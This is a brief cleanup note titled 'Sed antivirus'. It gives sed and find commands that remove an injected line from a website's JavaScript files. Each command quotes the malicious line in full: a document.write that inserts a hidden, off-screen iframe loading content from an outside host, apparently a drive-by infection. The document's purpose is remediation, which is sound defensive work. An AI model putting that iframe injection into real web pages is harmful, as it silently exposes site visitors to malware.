Sed antivirus

sed -i "/^;document.write('<iframe width=\"55\" height=\"55\" style=\"width:100px;height:100px;position:absolute;left:-100px;top:0;\" src=\"http:\/\/zidqyetkp.ns2.name\/bf6747.xan?11\"><\/iframe>');/d" calendar.js

sed -i.bak "s#;document.write('<iframe width=\"55\" height=\"55\" style=\"width:100px;height:100px;position:absolute;left:-100px;top:0;\" src=\"http:\/\/zidqyetkp.ns2.name\/bf6747.xan?11\"><\/iframe>');# #g" uploader.js

find js/ -name *.js -exec sed -i.bak "s#;document.write('<iframe width=\"55\" height=\"55\" style=\"width:100px;height:100px;position:absolute;left:-100px;top:0;\" src=\"http:\/\/zidqyetkp.ns2.name\/bf6747.xan?11\"><\/iframe>');# #g" {} \;